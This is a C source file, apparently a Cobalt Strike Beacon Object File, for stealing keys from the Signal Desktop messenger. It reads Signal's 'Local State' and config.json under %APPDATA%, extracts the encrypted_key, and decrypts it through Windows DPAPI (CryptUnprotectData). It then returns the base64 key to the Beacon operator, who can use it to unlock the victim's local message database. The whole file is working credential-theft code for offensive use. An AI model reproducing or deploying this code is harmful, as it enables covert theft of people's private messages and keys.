39 | #define GetProcessHeap KERNEL32$GetProcessHeap
40 | #define strlen MSVCRT$strlen
41 | #define stchr MSVCRT$strchr
42 | #define sprintf MSVCRT$sprintf
43 | #define LocalFree KERNEL32$LocalFree
44 | #define ExpandEnvironmentStringsW KERNEL32$ExpandEnvironmentStringsW
45 | #define memcpy MSVCRT$memcpy
46 | #define SysStringByteLen OLEAUT32$SysStringByteLen
47 |
48 |
49 |
50 | #define intAlloc(size) KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, size)
51 | #define intFree(addr) KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, addr)
52 |
53 | const char* BASE64_CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
54 | #define KEY_SIZE 32
55 |
56 | static const char encoding_table[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
57 | static const int mod_table[] = { 0, 2, 1 };
58 |
59 | char* base64_encode(const BYTE* data, size_t input_length) {
60 | size_t output_length = 4 * ((input_length + 2) / 3);
61 | char* encoded_data = (char*)intAlloc(output_length + 1);
62 | if (encoded_data == NULL) return NULL;
63 |
64 | for (size_t i = 0, j = 0; i < input_length;) {
65 | uint32_t octet_a = i < input_length ? data[i++] : 0;
66 | uint32_t octet_b = i < input_length ? data[i++] : 0;
67 | uint32_t octet_c = i < input_length ? data[i++] : 0;
68 |
69 | uint32_t triple = (octet_a << 16) | (octet_b << 8) | octet_c;
70 |
71 | encoded_data[j++] = encoding_table[(triple >> 18) & 0x3F];
72 | encoded_data[j++] = encoding_table[(triple >> 12) & 0x3F];
73 | encoded_data[j++] = encoding_table[(triple >> 6) & 0x3F];
74 | encoded_data[j++] = encoding_table[triple & 0x3F];
75 | }
76 |
77 | for (size_t i = 0; i < mod_table[input_length % 3]; i++) {
78 | encoded_data[output_length - 1 - i] = '=';
79 | }
80 |
81 | encoded_data[output_length] = '\0';
82 | return encoded_data;
83 | }
84 |
85 |
86 | int isBase64(char c) {
87 | return (c >= 'A' && c <= 'Z') || // Uppercase letters
88 | (c >= 'a' && c <= 'z') || // Lowercase letters
89 | (c >= '0' && c <= '9') || // Digits
90 | (c == '+') || (c == '/'); // '+' and '/'
91 | }
92 |
93 | uint8_t* Base64Decode(const char* encoded_string, size_t* out_len) {
94 | int in_len = MSVCRT$strlen(encoded_string);
95 | int i = 0, j = 0, in_ = 0;
96 | uint8_t char_array_4[4], char_array_3[3];
97 | size_t decoded_size = (in_len * 3) / 4;
98 | uint8_t* decoded_data = (uint8_t*)intAlloc(decoded_size);
99 |
100 | *out_len = 0;
101 | while (in_len-- && (encoded_string[in_] != '=') && isBase64(encoded_string[in_])) {
102 | char_array_4[i++] = encoded_string[in_]; in_++;
103 | if (i == 4) {
104 | for (i = 0; i < 4; i++) char_array_4[i] = MSVCRT$strchr(BASE64_CHARS, char_array_4[i]) - BASE64_CHARS;
105 | char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
106 | char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
107 | char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];
108 |
109 | for (i = 0; i < 3; i++) decoded_data[(*out_len)++] = char_array_3[i];
110 | i = 0;
111 | }
112 | }
113 |
114 | if (i) {
115 | for (j = i; j < 4; j++) char_array_4[j] = 0;
116 | for (j = 0; j < 4; j++) char_array_4[j] = MSVCRT$strchr(BASE64_CHARS, char_array_4[j]) - BASE64_CHARS;
117 | char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
118 | char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
119 | char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];
120 |
121 | for (j = 0; j < i - 1; j++) decoded_data[(*out_len)++] = char_array_3[j];
122 | }
123 | return decoded_data;
124 | }
125 |
126 |
127 | DWORD SignalKeyDecryption(const char* encoded_data, long decode_size)
128 | {
129 | DWORD dwErrorCode = ERROR_SUCCESS;
130 | unsigned char* decoded_data = NULL;
131 | char* encoded = NULL;
132 | DATA_BLOB DataOut = { 0 };
133 | DATA_BLOB DataVerify = { 0 };
134 | LPWSTR pDescrOut = NULL;
135 |
136 | decoded_data = Base64Decode(encoded_data, (size_t*)&decode_size);
137 | if (decoded_data == NULL)
138 | {
139 | dwErrorCode = ERROR_DS_DECODING_ERROR;
140 | BeaconPrintf(CALLBACK_ERROR,"base64_decode failed\n");
141 | goto chromeKey_end;
142 | }
143 |
144 | if (decode_size < 5)
145 | {
146 | dwErrorCode = ERROR_DS_DECODING_ERROR;
147 | BeaconPrintf(CALLBACK_ERROR, "base64_decode failed\n");
148 | goto chromeKey_end;
149 | }
150 |
151 | if (decoded_data[0] != 'D' && decoded_data[1] != 'P')
152 | {
153 | dwErrorCode = ERROR_DS_DECODING_ERROR;
154 | BeaconPrintf(CALLBACK_ERROR,"base64_decode failed\n");
155 | goto chromeKey_end;
156 | }
157 | DataOut.pbData = decoded_data + 5;
158 | DataOut.cbData = decode_size - 5;
159 |
160 | if (!CryptUnprotectData(&DataOut,&pDescrOut,NULL,NULL,NULL,0,&DataVerify))
161 | {
162 | dwErrorCode = ERROR_DECRYPTION_FAILED;
163 | BeaconPrintf(CALLBACK_ERROR,"CryptUnprotectData failed\n");
164 | goto chromeKey_end;
165 | }
166 |
167 |
168 | encoded = base64_encode(DataVerify.pbData, DataVerify.cbData);
169 | if (encoded == NULL)
170 | {
171 | dwErrorCode = ERROR_DS_ENCODING_ERROR;
172 | BeaconPrintf(CALLBACK_ERROR,"base64_encode failed\n");
173 | goto chromeKey_end;
174 | }
175 |
176 | BeaconPrintf(CALLBACK_OUTPUT,"Decrypted encryption key as: %s\n", encoded);
177 |
178 | chromeKey_end:
179 |
180 | if (encoded)
181 | {
182 | intFree(encoded);
183 | encoded = NULL;
184 | }
185 |
186 | if (decoded_data)
187 | {
188 | intFree(decoded_data);
189 | decoded_data = NULL;
190 | }
191 |
192 | if (DataVerify.pbData)
193 | {
194 | LocalFree(DataVerify.pbData);
195 | DataVerify.pbData = NULL;
196 | }
197 |
198 | return dwErrorCode;
199 | }
200 |
201 | DWORD RetrieveConfigKeyString(LPCWSTR signalPath) {
202 | DWORD dwErrorCode = ERROR_SUCCESS;
203 | HANDLE fp = NULL;
204 | DWORD filesize = 0;
205 | DWORD read = 0, totalread = 0;
206 | BYTE* filedata = 0, * key = 0;
207 | char* start = NULL;
208 | char* end = NULL;
209 | DWORD keylen = 0;
210 |
211 |
212 | fp = CreateFileW(signalPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
213 | if (fp == INVALID_HANDLE_VALUE)
214 | {
215 | dwErrorCode = GetLastError();
216 | BeaconPrintf(CALLBACK_ERROR, "CreateFileW failed %lX\n", dwErrorCode);
217 | goto findKeyBlob_end;
218 | }
219 | filesize = GetFileSize(fp, NULL);
220 | if (filesize == INVALID_FILE_SIZE)
221 | {
222 | dwErrorCode = GetLastError();
223 | BeaconPrintf(CALLBACK_ERROR, "GetFileSize failed %lX\n", dwErrorCode);
224 | goto findKeyBlob_end;
225 | }
226 |
227 | filedata = (BYTE*)intAlloc(filesize);
228 | if (NULL == filedata)
229 | {
230 | dwErrorCode = ERROR_OUTOFMEMORY;
231 | BeaconPrintf(CALLBACK_ERROR, "intAlloc failed %lX\n", dwErrorCode);
232 | goto findKeyBlob_end;
233 | }
234 | while (totalread != filesize)
235 | {
236 | if (!ReadFile(fp, filedata + totalread, filesize - totalread, &read, NULL))
237 | {
238 | dwErrorCode = GetLastError();
239 | BeaconPrintf(CALLBACK_ERROR, "ReadFile failed %lX\n", dwErrorCode);
240 | goto findKeyBlob_end;
241 | }
242 | totalread += read;
243 | read = 0;
244 | }
245 |
246 | //now we need to find our key
247 | start = StrStrA((char*)filedata, "encryptedKey");
248 | if (start == NULL)
249 | {
250 | dwErrorCode = ERROR_BAD_FILE_TYPE;
251 | BeaconPrintf(CALLBACK_ERROR, "StrStrA failed %lX\n", dwErrorCode);
252 | goto findKeyBlob_end;
253 | }
254 | start += 16; //gets us to start of base64 string;
255 |
256 | end = StrStrA(start, "\"\n");
257 | if (end == NULL)
258 | {
259 | dwErrorCode = ERROR_BAD_FILE_TYPE;
260 | BeaconPrintf(CALLBACK_ERROR, "StrStrA failed %lX\n", dwErrorCode);
261 | goto findKeyBlob_end;
262 | }
263 | keylen = end - start;
264 |
265 | key = (BYTE*)intAlloc(keylen + 1);
266 | if (key == NULL)
267 | {
268 | dwErrorCode = ERROR_OUTOFMEMORY;
269 | BeaconPrintf(CALLBACK_ERROR, "intAlloc failed %lX\n", dwErrorCode);
270 | goto findKeyBlob_end;
271 | }
272 |
273 | memcpy(key, start, keylen);
274 |
275 | BeaconPrintf(CALLBACK_OUTPUT, "Base64 config key for %S =\n%s\n", signalPath, key);
276 |
277 |
278 | findKeyBlob_end:
279 |
280 | if (filedata)
281 | {
282 | intFree(filedata);
283 | filedata = NULL;
284 | }
285 |
286 | if (key)
287 | {
288 | intFree(key);
289 | key = NULL;
290 | }
291 |
292 | if ((fp != NULL) && (fp != INVALID_HANDLE_VALUE))
293 | {
294 | CloseHandle(fp);
295 | fp = NULL;
296 | }
297 |
298 | return dwErrorCode;
299 | }
300 |
301 | DWORD RetrieveKeyBlob(LPCWSTR signalPath) {
302 | DWORD dwErrorCode = ERROR_SUCCESS;
303 | HANDLE fp = NULL;
304 | DWORD filesize = 0;
305 | DWORD read = 0, totalread = 0;
306 | BYTE* filedata = 0, * key = 0;
307 | char* start = NULL;
308 | char* end = NULL;
309 | DWORD keylen = 0;
310 |
311 |
312 | fp = CreateFileW(signalPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
313 | if (fp == INVALID_HANDLE_VALUE)
314 | {
315 | dwErrorCode = GetLastError();
316 | BeaconPrintf(CALLBACK_ERROR,"CreateFileW failed %lX\n", dwErrorCode);
317 | goto findKeyBlob_end;
318 | }
319 | filesize = GetFileSize(fp, NULL);
320 | if (filesize == INVALID_FILE_SIZE)
321 | {
322 | dwErrorCode = GetLastError();
323 | BeaconPrintf(CALLBACK_ERROR,"GetFileSize failed %lX\n", dwErrorCode);
324 | goto findKeyBlob_end;
325 | }
326 |
327 | filedata = (BYTE*)intAlloc(filesize);
328 | if (NULL == filedata)
329 | {
330 | dwErrorCode = ERROR_OUTOFMEMORY;
331 | BeaconPrintf(CALLBACK_ERROR,"intAlloc failed %lX\n", dwErrorCode);
332 | goto findKeyBlob_end;
333 | }
334 | while (totalread != filesize)
335 | {
336 | if (!ReadFile(fp, filedata + totalread, filesize - totalread, &read, NULL))
337 | {
338 | dwErrorCode = GetLastError();
339 | BeaconPrintf(CALLBACK_ERROR,"ReadFile failed %lX\n", dwErrorCode);
340 | goto findKeyBlob_end;
341 | }
342 | totalread += read;
343 | read = 0;
344 | }
345 |
346 | //now we need to find our key
347 | start = StrStrA((char*)filedata, "encrypted_key");
348 | if (start == NULL)
349 | {
350 | dwErrorCode = ERROR_BAD_FILE_TYPE;
351 | BeaconPrintf(CALLBACK_ERROR,"StrStrA failed %lX\n", dwErrorCode);
352 | goto findKeyBlob_end;
353 | }
354 | start += 16; //gets us to start of base64 string;
355 |
356 | end = StrStrA(start, "\"}");
357 | if (end == NULL)
358 | {
359 | dwErrorCode = ERROR_BAD_FILE_TYPE;
360 | BeaconPrintf(CALLBACK_ERROR,"StrStrA failed %lX\n", dwErrorCode);
361 | goto findKeyBlob_end;
362 | }
363 | keylen = end - start;
364 |
365 | key = (BYTE*)intAlloc(keylen + 1);
366 | if (key == NULL)
367 | {
368 | dwErrorCode = ERROR_OUTOFMEMORY;
369 | BeaconPrintf(CALLBACK_ERROR,"intAlloc failed %lX\n", dwErrorCode);
370 | goto findKeyBlob_end;
371 | }
372 |
373 | memcpy(key, start, keylen);
374 |
375 | dwErrorCode = SignalKeyDecryption((char*)key, keylen);
376 | if (ERROR_SUCCESS != dwErrorCode)
377 | {
378 | BeaconPrintf(CALLBACK_ERROR, "SignalKeyDecryption Function failed %lX\n", dwErrorCode);
379 | goto findKeyBlob_end;
380 | }
381 |
382 |
383 | findKeyBlob_end:
384 |
385 | if (filedata)
386 | {
387 | intFree(filedata);
388 | filedata = NULL;
389 | }
390 |
391 | if (key)
392 | {
393 | intFree(key);
394 | key = NULL;
395 | }
396 |
397 | if ((fp != NULL) && (fp != INVALID_HANDLE_VALUE))
398 | {
399 | CloseHandle(fp);
400 | fp = NULL;
401 | }
402 |
403 | return dwErrorCode;
404 | }
405 |
406 | DWORD RetrieveSignalKey() {
407 | DWORD dwErrorCode = ERROR_SUCCESS;
408 | wchar_t appdata[MAX_PATH] = { 0 };
409 | wchar_t signal[MAX_PATH] = { 0 };
410 |
411 | if (0 == ExpandEnvironmentStringsW(L"%APPDATA%", appdata, MAX_PATH))
412 | {
413 | dwErrorCode = GetLastError();
414 | goto retrievesignalkey_end;
415 | }
416 | if (NULL == PathCombineW(signal, appdata, L"Signal\\Local State"))
417 | {
418 | dwErrorCode = ERROR_BAD_PATHNAME;
419 | goto retrievesignalkey_end;
420 | }
421 | if (PathFileExistsW(signal))
422 | {
423 | dwErrorCode = RetrieveKeyBlob(signal);
424 | if (ERROR_SUCCESS != dwErrorCode)
425 | {
426 | BeaconPrintf(CALLBACK_ERROR, "Retrieving Key from file failed %lX\n", dwErrorCode);
427 | //goto findKeyFiles_end;
428 | }
429 | }
430 | else
431 | {
432 | BeaconPrintf(CALLBACK_ERROR, "Could not find Signal's local state file\n");
433 | }
434 | retrievesignalkey_end:
435 | return dwErrorCode;
436 | }
437 |
438 | DWORD RetrieveConfigKey() {
439 | DWORD dwErrorCode = ERROR_SUCCESS;
440 | wchar_t appdata[MAX_PATH] = { 0 };
441 | wchar_t signal[MAX_PATH] = { 0 };
442 |
443 | if (0 == ExpandEnvironmentStringsW(L"%APPDATA%", appdata, MAX_PATH))
444 | {
445 | dwErrorCode = GetLastError();
446 | goto retrieveconfigkey_end;
447 | }
448 | if (NULL == PathCombineW(signal, appdata, L"Signal\\config.json"))
449 | {
450 | dwErrorCode = ERROR_BAD_PATHNAME;
451 | goto retrieveconfigkey_end;
452 | }
453 | if (PathFileExistsW(signal))
454 | {
455 | dwErrorCode = RetrieveConfigKeyString(signal);
456 | if (ERROR_SUCCESS != dwErrorCode)
457 | {
458 | BeaconPrintf(CALLBACK_ERROR, "Retrieving Key from file failed %lX\n", dwErrorCode);
459 | //goto findKeyFiles_end;
460 | }
461 | }
462 | else
463 | {
464 | BeaconPrintf(CALLBACK_ERROR, "Could not find Signal's local state file\n");
465 | }
466 | retrieveconfigkey_end:
467 | return dwErrorCode;
468 | }
469 |
470 | void go() {
471 | DWORD dwErrorCode = ERROR_SUCCESS;
472 | dwErrorCode = RetrieveSignalKey();
473 | if (ERROR_SUCCESS != dwErrorCode)
474 | {
475 | BeaconPrintf(CALLBACK_ERROR, "RetrieveSignalKey failed: %lX\n", dwErrorCode);
476 | }
477 | dwErrorCode = RetrieveConfigKey();
478 | if (ERROR_SUCCESS != dwErrorCode)
479 | {
480 | BeaconPrintf(CALLBACK_ERROR, "RetrieveConfigKey failed: %lX\n", dwErrorCode);
481 | }
482 |
483 | }
--------------------------------------------------------------------------------